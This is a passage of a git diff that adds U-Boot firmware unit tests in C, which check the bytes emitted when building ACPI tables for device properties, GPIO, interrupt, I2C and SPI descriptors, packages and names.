+ ut_assertnonnull(acpi_dp_add_integer(dp, "int16", TEST_INT16));
+ ut_assertnonnull(acpi_dp_add_string(dp, "str", TEST_STR));
+ ut_assertnonnull(acpi_dp_add_reference(dp, "ref", TEST_REF));
+
+ ptr = acpigen_get_current(ctx);
+ ut_assertok(acpi_dp_write(ctx, dp));
+ ut_asserteq(110, acpigen_get_current(ctx) - ptr);
+
+ ut_asserteq(WORD_PREFIX, ptr[0x32]);
+ ut_asserteq(TEST_INT16, get_unaligned((u16 *)(ptr + 0x33)));
+ ut_asserteq(STRING_PREFIX, ptr[0x3f]);
+ ut_asserteq_str(TEST_STR, (char *)ptr + 0x40);
+ ut_asserteq(ROOT_PREFIX, ptr[0x5f]);
+ ut_asserteq(MULTI_NAME_PREFIX, ptr[0x60]);
+ ut_asserteq(3, ptr[0x61]);
+ ut_asserteq_strn(EXPECT_REF, (char *)ptr + 0x62);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_dp_multiple, 0);
+
+/* Test emitting an array */
+static int dm_test_acpi_dp_array(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ struct acpi_dp *dp;
+ u64 speed[4];
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ dp = acpi_dp_new_table("FRED");
+ ut_assertnonnull(dp);
+ speed[0] = TEST_INT8;
+ speed[1] = TEST_INT16;
+ speed[2] = TEST_INT32;
+ speed[3] = TEST_INT64;
+ ut_assertnonnull(acpi_dp_add_integer_array(dp, "speeds", speed,
+ ARRAY_SIZE(speed)));
+
+ ptr = acpigen_get_current(ctx);
+ ut_assertok(acpi_dp_write(ctx, dp));
+ ut_asserteq(75, acpigen_get_current(ctx) - ptr);
+
+ ut_asserteq(BYTE_PREFIX, ptr[0x38]);
+ ut_asserteq(TEST_INT8, ptr[0x39]);
+
+ ut_asserteq(WORD_PREFIX, ptr[0x3a]);
+ ut_asserteq(TEST_INT16, get_unaligned((u16 *)(ptr + 0x3b)));
+
+ ut_asserteq(DWORD_PREFIX, ptr[0x3d]);
+ ut_asserteq(TEST_INT32, get_unaligned((u32 *)(ptr + 0x3e)));
+
+ ut_asserteq(QWORD_PREFIX, ptr[0x42]);
+ ut_asserteq_64(TEST_INT64, get_unaligned((u64 *)(ptr + 0x43)));
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_dp_array, 0);
+
+/* Test emitting a child */
+static int dm_test_acpi_dp_child(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ struct acpi_dp *dp, *child1, *child2;
+ char uuid[UUID_STR_LEN + 1];
+ u8 *ptr, *pptr;
+ int i;
+
+ ut_assertok(alloc_context(&ctx));
+
+ child1 = acpi_dp_new_table("child");
+ ut_assertnonnull(child1);
+ ut_assertnonnull(acpi_dp_add_integer(child1, "height", TEST_INT16));
+
+ child2 = acpi_dp_new_table("child");
+ ut_assertnonnull(child2);
+ ut_assertnonnull(acpi_dp_add_integer(child2, "age", TEST_INT8));
+
+ dp = acpi_dp_new_table("FRED");
+ ut_assertnonnull(dp);
+
+ ut_assertnonnull(acpi_dp_add_child(dp, "anna", child1));
+ ut_assertnonnull(acpi_dp_add_child(dp, "john", child2));
+
+ ptr = acpigen_get_current(ctx);
+ ut_assertok(acpi_dp_write(ctx, dp));
+ ut_asserteq(178, acpigen_get_current(ctx) - ptr);
+
+ /* UUID for child extension using Hierarchical Data Extension UUID */
+ ut_asserteq(BUFFER_OP, ptr[10]);
+ ut_asserteq(22, acpi_test_get_length(ptr + 11));
+ ut_asserteq(WORD_PREFIX, ptr[14]);
+ ut_asserteq(16, get_unaligned((u16 *)(ptr + 15)));
+ uuid_bin_to_str(ptr + 17, uuid, 1);
+ ut_asserteq_str(ACPI_DP_CHILD_UUID, uuid);
+
+ /* Package with two children */
+ ut_asserteq(PACKAGE_OP, ptr[0x21]);
+ ut_asserteq(0x28, acpi_test_get_length(ptr + 0x22));
+ ut_asserteq(2, ptr[0x25]);
+
+ /* First we expect the two children as string/value */
+ pptr = ptr + 0x26;
+ for (i = 0; i < 2; i++) {
+ ut_asserteq(PACKAGE_OP, pptr[0]);
+ ut_asserteq(0x11, acpi_test_get_length(pptr + 1));
+ ut_asserteq(2, pptr[4]);
+ ut_asserteq(STRING_PREFIX, pptr[5]);
+ ut_asserteq_str(i ? "john" : "anna", (char *)pptr + 6);
+ ut_asserteq(STRING_PREFIX, pptr[11]);
+ ut_asserteq_str("child", (char *)pptr + 12);
+ pptr += 0x12;
+ }
+
+ /* Write the two children */
+ ut_asserteq(0x4a, pptr - ptr);
+ for (i = 0; i < 2; i++) {
+ const char *prop = i ? "age" : "height";
+ const int datalen = i ? 1 : 2;
+ int len = strlen(prop) + 1;
+
+ ut_asserteq(NAME_OP, pptr[0]);
+ ut_asserteq_strn("chil", (char *)pptr + 1);
+ ut_asserteq(PACKAGE_OP, pptr[5]);
+ ut_asserteq(0x27 + len + datalen, acpi_test_get_length(pptr + 6));
+ ut_asserteq(2, pptr[9]);
+
+ /* UUID */
+ ut_asserteq(BUFFER_OP, pptr[10]);
+ ut_asserteq(22, acpi_test_get_length(pptr + 11));
+ ut_asserteq(WORD_PREFIX, pptr[14]);
+ ut_asserteq(16, get_unaligned((u16 *)(pptr + 15)));
+ uuid_bin_to_str(pptr + 17, uuid, 1);
+ ut_asserteq_str(ACPI_DP_UUID, uuid);
+ pptr += 33;
+
+ /* Containing package */
+ ut_asserteq(i ? 0xa1 : 0x6b, pptr - ptr);
+ ut_asserteq(PACKAGE_OP, pptr[0]);
+ ut_asserteq(0xb + len + datalen, acpi_test_get_length(pptr + 1));
+ ut_asserteq(1, pptr[4]);
+
+ /* Package containing the property-name string and the value */
+ pptr += 5;
+ ut_asserteq(i ? 0xa6 : 0x70, pptr - ptr);
+ ut_asserteq(PACKAGE_OP, pptr[0]);
+ ut_asserteq(6 + len + datalen, acpi_test_get_length(pptr + 1));
+ ut_asserteq(2, pptr[4]);
+
+ ut_asserteq(STRING_PREFIX, pptr[5]);
+ ut_asserteq_str(i ? "age" : "height", (char *)pptr + 6);
+ pptr += 6 + len;
+ if (i) {
+ ut_asserteq(BYTE_PREFIX, pptr[0]);
+ ut_asserteq(TEST_INT8, pptr[1]);
+ } else {
+ ut_asserteq(WORD_PREFIX, pptr[0]);
+ ut_asserteq(TEST_INT16,
+ get_unaligned((u16 *)(pptr + 1)));
+ }
+ pptr += 1 + datalen;
+ }
+ ut_asserteq(178, pptr - ptr);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_dp_child, 0);
+
+/* Test emitting a GPIO */
+static int dm_test_acpi_dp_gpio(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ struct acpi_dp *dp;
+ u8 *ptr, *pptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ dp = acpi_dp_new_table("FRED");
+ ut_assertnonnull(dp);
+
+ /* Try a few different parameters */
+ ut_assertnonnull(acpi_dp_add_gpio(dp, "reset", TEST_REF, 0x23, 0x24,
+ ACPI_GPIO_ACTIVE_HIGH));
+ ut_assertnonnull(acpi_dp_add_gpio(dp, "allow", TEST_REF, 0, 0,
+ ACPI_GPIO_ACTIVE_LOW));
+
+ ptr = acpigen_get_current(ctx);
+ ut_assertok(acpi_dp_write(ctx, dp));
+ ut_asserteq(0x6e, acpigen_get_current(ctx) - ptr);
+
+ pptr = ptr + 0x2c; //0x3a;
+ ut_asserteq_str("reset", (char *)pptr);
+ ut_asserteq_strn(EXPECT_REF, (char *)pptr + 0xe);
+ ut_asserteq(0x23, pptr[0x1b]);
+ ut_asserteq(0x24, pptr[0x1d]);
+ ut_asserteq(ZERO_OP, pptr[0x1e]);
+
+ pptr = ptr + 0x51;
+ ut_asserteq_str("allow", (char *)pptr);
+ ut_asserteq_strn(EXPECT_REF, (char *)pptr + 0xe);
+ ut_asserteq(ZERO_OP, pptr[0x1a]);
+ ut_asserteq(ZERO_OP, pptr[0x1b]);
+ ut_asserteq(ONE_OP, pptr[0x1c]);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_dp_gpio, 0);
+
+/* Test copying info from the device tree to ACPI tables */
+static int dm_test_acpi_dp_copy(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ struct udevice *dev;
+ struct acpi_dp *dp;
+ ofnode node;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ dp = acpi_dp_new_table("FRED");
+ ut_assertnonnull(dp);
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_FDT, 0, &dev));
+ ut_asserteq_str("a-test", dev->name);
+
+ ut_assertok(acpi_dp_dev_copy_int(dev, dp, "int-value"));
+ ut_asserteq(-EINVAL, acpi_dp_dev_copy_int(dev, dp, "missing-value"));
+ ut_assertok(acpi_dp_dev_copy_int(dev, dp, "uint-value"));
+
+ ut_assertok(acpi_dp_dev_copy_str(dev, dp, "str-value"));
+ ut_asserteq(-EINVAL, acpi_dp_dev_copy_str(dev, dp, "missing-value"));
+
+ node = ofnode_path("/chosen");
+ ut_assert(ofnode_valid(node));
+ ut_assertok(acpi_dp_ofnode_copy_int(node, dp, "int-values"));
+ ut_asserteq(-EINVAL,
+ acpi_dp_ofnode_copy_int(node, dp, "missing-value"));
+
+ ut_assertok(acpi_dp_ofnode_copy_str(node, dp, "setting"));
+ ut_asserteq(-EINVAL,
+ acpi_dp_ofnode_copy_str(node, dp, "missing-value"));
+
+ ptr = acpigen_get_current(ctx);
+ ut_assertok(acpi_dp_write(ctx, dp));
+ ut_asserteq(0x9d, acpigen_get_current(ctx) - ptr);
+
+ ut_asserteq(STRING_PREFIX, ptr[0x2b]);
+ ut_asserteq_str("int-value", (char *)ptr + 0x2c);
+ ut_asserteq(WORD_PREFIX, ptr[0x36]);
+ ut_asserteq(1234, get_unaligned((u16 *)(ptr + 0x37)));
+
+ ut_asserteq(STRING_PREFIX, ptr[0x3e]);
+ ut_asserteq_str("uint-value", (char *)ptr + 0x3f);
+ ut_asserteq(DWORD_PREFIX, ptr[0x4a]);
+ ut_asserteq(-1234, get_unaligned((u32 *)(ptr + 0x4b)));
+
+ ut_asserteq(STRING_PREFIX, ptr[0x54]);
+ ut_asserteq_str("str-value", (char *)ptr + 0x55);
+ ut_asserteq(STRING_PREFIX, ptr[0x5f]);
+ ut_asserteq_str("test string", (char *)ptr + 0x60);
+
+ ut_asserteq(STRING_PREFIX, ptr[0x71]);
+ ut_asserteq_str("int-values", (char *)ptr + 0x72);
+ ut_asserteq(WORD_PREFIX, ptr[0x7d]);
+ ut_asserteq(0x1937, get_unaligned((u16 *)(ptr + 0x7e)));
+
+ ut_asserteq(STRING_PREFIX, ptr[0x85]);
+ ut_asserteq_str("setting", (char *)ptr + 0x86);
+ ut_asserteq(STRING_PREFIX, ptr[0x8e]);
+ ut_asserteq_str("sunrise ohoka", (char *)(ptr + 0x8f));
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_dp_copy, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/acpigen.c b/test/dm/acpigen.c
new file mode 100644
index 00000000000..7113219792e
--- /dev/null
+++ b/test/dm/acpigen.c
@@ -0,0 +1,1745 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for ACPI code generation
+ *
+ * Copyright 2019 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <dm.h>
+#include <irq.h>
+#include <malloc.h>
+#include <uuid.h>
+#include <acpi/acpigen.h>
+#include <acpi/acpi_device.h>
+#include <acpi/acpi_table.h>
+#include <asm/gpio.h>
+#include <asm/unaligned.h>
+#include <dm/acpi.h>
+#include <dm/test.h>
+#include <dm/uclass-internal.h>
+#include <test/ut.h>
+#include "acpi.h"
+
+/* Maximum size of the ACPI context needed for most tests */
+#define ACPI_CONTEXT_SIZE 150
+
+#define TEST_STRING "frogmore"
+#define TEST_STRING2 "ranch"
+#define TEST_STREAM2 "\xfa\xde"
+
+#define TEST_INT8 0x7d
+#define TEST_INT16 0x2345
+#define TEST_INT32 0x12345678
+#define TEST_INT64 0x4567890123456
+
+int acpi_test_alloc_context_size(struct acpi_ctx **ctxp, int size)
+{
+ struct acpi_ctx *ctx;
+
+ *ctxp = NULL;
+ ctx = malloc(sizeof(*ctx));
+ if (!ctx)
+ return -ENOMEM;
+ ctx->base = malloc(size);
+ if (!ctx->base) {
+ free(ctx);
+ return -ENOMEM;
+ }
+ ctx->ltop = 0;
+ ctx->current = ctx->base;
+ *ctxp = ctx;
+
+ return 0;
+}
+
+int acpi_test_get_length(u8 *ptr)
+{
+ if (!(*ptr & 0x80))
+ return -EINVAL;
+
+ return (*ptr & 0xf) | ptr[1] << 4 | ptr[2] << 12;
+}
+
+static int alloc_context(struct acpi_ctx **ctxp)
+{
+ return acpi_test_alloc_context_size(ctxp, ACPI_CONTEXT_SIZE);
+}
+
+static void free_context(struct acpi_ctx **ctxp)
+{
+ free((*ctxp)->base);
+ free(*ctxp);
+ *ctxp = NULL;
+}
+
+/* Test emitting simple types and acpigen_get_current() */
+static int dm_test_acpi_emit_simple(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+ acpigen_emit_byte(ctx, 0x23);
+ ut_asserteq(1, acpigen_get_current(ctx) - ptr);
+ ut_asserteq(0x23, *(u8 *)ptr);
+
+ acpigen_emit_word(ctx, 0x1234);
+ ut_asserteq(3, acpigen_get_current(ctx) - ptr);
+ ut_asserteq(0x1234, get_unaligned((u16 *)(ptr + 1)));
+
+ acpigen_emit_dword(ctx, 0x87654321);
+ ut_asserteq(7, acpigen_get_current(ctx) - ptr);
+ ut_asserteq(0x87654321, get_unaligned((u32 *)(ptr + 3)));
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_emit_simple, 0);
+
+/* Test emitting a stream */
+static int dm_test_acpi_emit_stream(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+ acpigen_emit_stream(ctx, TEST_STREAM2, 2);
+ ut_asserteq(2, acpigen_get_current(ctx) - ptr);
+ ut_asserteq((u8)TEST_STREAM2[0], ptr[0]);
+ ut_asserteq((u8)TEST_STREAM2[1], ptr[1]);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_emit_stream, 0);
+
+/* Test emitting a string */
+static int dm_test_acpi_emit_string(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+ acpigen_emit_string(ctx, TEST_STRING);
+ ut_asserteq(sizeof(TEST_STRING), acpigen_get_current(ctx) - ptr);
+ ut_asserteq_str(TEST_STRING, (char *)ptr);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_emit_string, 0);
+
+/* Test emitting an interrupt descriptor */
+static int dm_test_acpi_interrupt(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ struct udevice *dev;
+ struct irq irq;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+
+ ut_assertok(uclass_first_device_err(UCLASS_TEST_FDT, &dev));
+ ut_assertok(irq_get_by_index(dev, 0, &irq));
+
+ /* See a-test, property interrupts-extended in the device tree */
+ ut_asserteq(3, acpi_device_write_interrupt_irq(ctx, &irq));
+ ut_asserteq(9, acpigen_get_current(ctx) - ptr);
+ ut_asserteq(ACPI_DESCRIPTOR_INTERRUPT, ptr[0]);
+ ut_asserteq(6, get_unaligned((u16 *)(ptr + 1)));
+ ut_asserteq(0x19, ptr[3]);
+ ut_asserteq(1, ptr[4]);
+ ut_asserteq(3, get_unaligned((u32 *)(ptr + 5)));
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_interrupt, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test emitting a GPIO descriptor */
+static int dm_test_acpi_gpio(struct unit_test_state *uts)
+{
+ struct gpio_desc desc;
+ struct acpi_ctx *ctx;
+ struct udevice *dev;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_FDT, 0, &dev));
+ ut_asserteq_str("a-test", dev->name);
+ ut_assertok(gpio_request_by_name(dev, "test-gpios", 1, &desc, 0));
+
+ /* This should write GPIO pin 4 (see device tree test.dts ) */
+ ut_asserteq(4, acpi_device_write_gpio_desc(ctx, &desc));
+ ut_asserteq(35, acpigen_get_current(ctx) - ptr);
+ ut_asserteq(ACPI_DESCRIPTOR_GPIO, ptr[0]);
+ ut_asserteq(32, get_unaligned((u16 *)(ptr + 1)));
+ ut_asserteq(ACPI_GPIO_REVISION_ID, ptr[3]);
+ ut_asserteq(ACPI_GPIO_TYPE_IO, ptr[4]);
+ ut_asserteq(1, get_unaligned((u16 *)(ptr + 5)));
+ ut_asserteq(9, get_unaligned((u16 *)(ptr + 7)));
+ ut_asserteq(ACPI_GPIO_PULL_UP, ptr[9]);
+ ut_asserteq(1234, get_unaligned((u16 *)(ptr + 10)));
+ ut_asserteq(0, get_unaligned((u16 *)(ptr + 12)));
+ ut_asserteq(23, get_unaligned((u16 *)(ptr + 14)));
+ ut_asserteq(0, ptr[16]);
+ ut_asserteq(25, get_unaligned((u16 *)(ptr + 17)));
+ ut_asserteq(35, get_unaligned((u16 *)(ptr + 19)));
+ ut_asserteq(0, get_unaligned((u16 *)(ptr + 21)));
+
+ /* pin0 */
+ ut_asserteq(4, get_unaligned((u16 *)(ptr + 23)));
+
+ ut_asserteq_str("\\_SB.PINC", (char *)ptr + 25);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_gpio, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test emitting a GPIO descriptor with an interrupt */
+static int dm_test_acpi_gpio_irq(struct unit_test_state *uts)
+{
+ struct gpio_desc desc;
+ struct acpi_ctx *ctx;
+ struct udevice *dev;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_FDT, 0, &dev));
+ ut_asserteq_str("a-test", dev->name);
+ ut_assertok(gpio_request_by_name(dev, "test2-gpios", 2, &desc, 0));
+
+ /* This should write GPIO pin 6 (see device tree test.dts ) */
+ ut_asserteq(6, acpi_device_write_gpio_desc(ctx, &desc));
+ ut_asserteq(35, acpigen_get_current(ctx) - ptr);
+ ut_asserteq(ACPI_DESCRIPTOR_GPIO, ptr[0]);
+ ut_asserteq(32, get_unaligned((u16 *)(ptr + 1)));
+ ut_asserteq(ACPI_GPIO_REVISION_ID, ptr[3]);
+ ut_asserteq(ACPI_GPIO_TYPE_INTERRUPT, ptr[4]);
+ ut_asserteq(1, get_unaligned((u16 *)(ptr + 5)));
+ ut_asserteq(29, get_unaligned((u16 *)(ptr + 7)));
+ ut_asserteq(ACPI_GPIO_PULL_DOWN, ptr[9]);
+ ut_asserteq(0, get_unaligned((u16 *)(ptr + 10)));
+ ut_asserteq(4321, get_unaligned((u16 *)(ptr + 12)));
+ ut_asserteq(23, get_unaligned((u16 *)(ptr + 14)));
+ ut_asserteq(0, ptr[16]);
+ ut_asserteq(25, get_unaligned((u16 *)(ptr + 17)));
+ ut_asserteq(35, get_unaligned((u16 *)(ptr + 19)));
+ ut_asserteq(0, get_unaligned((u16 *)(ptr + 21)));
+
+ /* pin0 */
+ ut_asserteq(6, get_unaligned((u16 *)(ptr + 23)));
+
+ ut_asserteq_str("\\_SB.PINC", (char *)ptr + 25);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_gpio_irq, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test emitting either a GPIO or interrupt descriptor */
+static int dm_test_acpi_interrupt_or_gpio(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ struct udevice *dev;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+
+ /* This should produce an interrupt, even though it also has a GPIO */
+ ut_assertok(uclass_get_device(UCLASS_TEST_FDT, 0, &dev));
+ ut_asserteq_str("a-test", dev->name);
+ ut_asserteq(3, acpi_device_write_interrupt_or_gpio(ctx, dev,
+ "test2-gpios"));
+ ut_asserteq(ACPI_DESCRIPTOR_INTERRUPT, ptr[0]);
+
+ /* This has no interrupt so should produce a GPIO */
+ ptr = ctx->current;
+ ut_assertok(uclass_find_first_device(UCLASS_PANEL_BACKLIGHT, &dev));
+ ut_asserteq(1, acpi_device_write_interrupt_or_gpio(ctx, dev,
+ "enable-gpios"));
+ ut_asserteq(ACPI_DESCRIPTOR_GPIO, ptr[0]);
+
+ /* This one has neither */
+ ptr = acpigen_get_current(ctx);
+ ut_assertok(uclass_get_device_by_seq(UCLASS_TEST_FDT, 3, &dev));
+ ut_asserteq_str("b-test", dev->name);
+ ut_asserteq(-ENOENT,
+ acpi_device_write_interrupt_or_gpio(ctx, dev,
+ "enable-gpios"));
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_interrupt_or_gpio,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test emitting an I2C descriptor */
+static int dm_test_acpi_i2c(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ struct udevice *dev;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+
+ ut_assertok(uclass_get_device(UCLASS_RTC, 0, &dev));
+ ut_asserteq(0x43, acpi_device_write_i2c_dev(ctx, dev));
+ ut_asserteq(28, acpigen_get_current(ctx) - ptr);
+ ut_asserteq(ACPI_DESCRIPTOR_SERIAL_BUS, ptr[0]);
+ ut_asserteq(25, get_unaligned((u16 *)(ptr + 1)));
+ ut_asserteq(ACPI_I2C_SERIAL_BUS_REVISION_ID, ptr[3]);
+ ut_asserteq(0, ptr[4]);
+ ut_asserteq(ACPI_SERIAL_BUS_TYPE_I2C, ptr[5]);
+ ut_asserteq(0, get_unaligned((u16 *)(ptr + 7)));
+ ut_asserteq(ACPI_I2C_TYPE_SPECIFIC_REVISION_ID, ptr[9]);
+ ut_asserteq(6, get_unaligned((u16 *)(ptr + 10)));
+ ut_asserteq(100000, get_unaligned((u32 *)(ptr + 12)));
+ ut_asserteq(0x43, get_unaligned((u16 *)(ptr + 16)));
+ ut_asserteq_str("\\_SB.I2C0", (char *)ptr + 18);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_i2c, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test emitting a SPI descriptor */
+static int dm_test_acpi_spi(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ struct udevice *dev;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+
+ ut_assertok(uclass_first_device_err(UCLASS_SPI_FLASH, &dev));
+ ut_assertok(acpi_device_write_spi_dev(ctx, dev));
+ ut_asserteq(31, acpigen_get_current(ctx) - ptr);
+ ut_asserteq(ACPI_DESCRIPTOR_SERIAL_BUS, ptr[0]);
+ ut_asserteq(28, get_unaligned((u16 *)(ptr + 1)));
+ ut_asserteq(ACPI_SPI_SERIAL_BUS_REVISION_ID, ptr[3]);
+ ut_asserteq(0, ptr[4]);
+ ut_asserteq(ACPI_SERIAL_BUS_TYPE_SPI, ptr[5]);
+ ut_asserteq(2, ptr[6]);
+ ut_asserteq(0, get_unaligned((u16 *)(ptr + 7)));
+ ut_asserteq(ACPI_SPI_TYPE_SPECIFIC_REVISION_ID, ptr[9]);
+ ut_asserteq(9, get_unaligned((u16 *)(ptr + 10)));
+ ut_asserteq(40000000, get_unaligned((u32 *)(ptr + 12)));
+ ut_asserteq(8, ptr[16]);
+ ut_asserteq(0, ptr[17]);
+ ut_asserteq(0, ptr[18]);
+ ut_asserteq(0, get_unaligned((u16 *)(ptr + 19)));
+ ut_asserteq_str("\\_SB.SPI0", (char *)ptr + 21);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_spi, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test emitting a length */
+static int dm_test_acpi_len(struct unit_test_state *uts)
+{
+ const int size = 0xc0000;
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+ int i;
+
+ ut_assertok(acpi_test_alloc_context_size(&ctx, size));
+
+ ptr = acpigen_get_current(ctx);
+
+ /* Write a byte and a 3-byte length */
+ acpigen_write_len_f(ctx);
+ acpigen_emit_byte(ctx, 0x23);
+ acpigen_pop_len(ctx);
+ ut_asserteq(1 + 3, acpi_test_get_length(ptr));
+
+ /* Write 200 bytes so we need two length bytes */
+ ptr = ctx->current;
+ acpigen_write_len_f(ctx);
+ for (i = 0; i < 200; i++)
+ acpigen_emit_byte(ctx, 0x23);
+ acpigen_pop_len(ctx);
+ ut_asserteq(200 + 3, acpi_test_get_length(ptr));
+
+ /* Write 40KB so we need three length bytes */
+ ptr = ctx->current;
+ acpigen_write_len_f(ctx);
+ for (i = 0; i < 40000; i++)
+ acpigen_emit_byte(ctx, 0x23);
+ acpigen_pop_len(ctx);
+ ut_asserteq(40000 + 3, acpi_test_get_length(ptr));
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_len, 0);
+
+/* Test writing a package */
+static int dm_test_acpi_package(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ char *num_elements;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+
+ num_elements = acpigen_write_package(ctx, 3);
+ ut_asserteq_ptr(num_elements, ptr + 4);
+
+ /* For ease of testing, just emit a byte, not valid package contents */
+ acpigen_emit_byte(ctx, 0x23);
+ acpigen_pop_len(ctx);
+ ut_asserteq(PACKAGE_OP, ptr[0]);
+ ut_asserteq(5, acpi_test_get_length(ptr + 1));
+ ut_asserteq(3, ptr[4]);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_package, 0);
+
+/* Test writing an integer */
+static int dm_test_acpi_integer(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+
+ acpigen_write_integer(ctx, 0);
+ acpigen_write_integer(ctx, 1);
+ acpigen_write_integer(ctx, TEST_INT8);
+ acpigen_write_integer(ctx, TEST_INT16);
+ acpigen_write_integer(ctx, TEST_INT32);
+ acpigen_write_integer(ctx, TEST_INT64);
+
+ ut_asserteq(6 + 1 + 2 + 4 + 8, acpigen_get_current(ctx) - ptr);
+
+ ut_asserteq(ZERO_OP, ptr[0]);
+
+ ut_asserteq(ONE_OP, ptr[1]);
+
+ ut_asserteq(BYTE_PREFIX, ptr[2]);
+ ut_asserteq(TEST_INT8, ptr[3]);
+
+ ut_asserteq(WORD_PREFIX, ptr[4]);
+ ut_asserteq(TEST_INT16, get_unaligned((u16 *)(ptr + 5)));
+
+ ut_asserteq(DWORD_PREFIX, ptr[7]);
+ ut_asserteq(TEST_INT32, get_unaligned((u32 *)(ptr + 8)));
+
+ ut_asserteq(QWORD_PREFIX, ptr[12]);
+ ut_asserteq_64(TEST_INT64, get_unaligned((u64 *)(ptr + 13)));
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_integer, 0);
+
+/* Test writing a string */
+static int dm_test_acpi_string(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+
+ acpigen_write_string(ctx, TEST_STRING);
+ acpigen_write_string(ctx, TEST_STRING2);
+
+ ut_asserteq(2 + sizeof(TEST_STRING) + sizeof(TEST_STRING2),
+ acpigen_get_current(ctx) - ptr);
+ ut_asserteq(STRING_PREFIX, ptr[0]);
+ ut_asserteq_str(TEST_STRING, (char *)ptr + 1);
+ ptr += 1 + sizeof(TEST_STRING);
+ ut_asserteq(STRING_PREFIX, ptr[0]);
+ ut_asserteq_str(TEST_STRING2, (char *)ptr + 1);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_string, 0);
+
+/* Test writing a name */
+static int dm_test_acpi_name(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ ptr = acpigen_get_current(ctx);
+
+ /*
+ * The names here are made up for testing the various cases. The
+ * grammar is in the ACPI spec 6.3 section 19.2.2
+ */
+ acpigen_write_name(ctx, "\\_SB");
+ acpigen_write_name(ctx, "\\_SB.I2C0");
+ acpigen_write_name(ctx, "\\_SB.I2C0.TPM2");
+ acpigen_write_name(ctx, "\\_SB.I2C0.TPM2.LONG");
+ acpigen_write_name(ctx, "^^^^SPI0.FLAS");
+ acpigen_write_name(ctx, "NN");
+ acpigen_write_name(ctx, "^AB.CD.D.EFG");
+ acpigen_write_name(ctx, "^^^^");
+ acpigen_write_name(ctx, "\\");
+ acpigen_write_name(ctx, "\\ABCD");
+
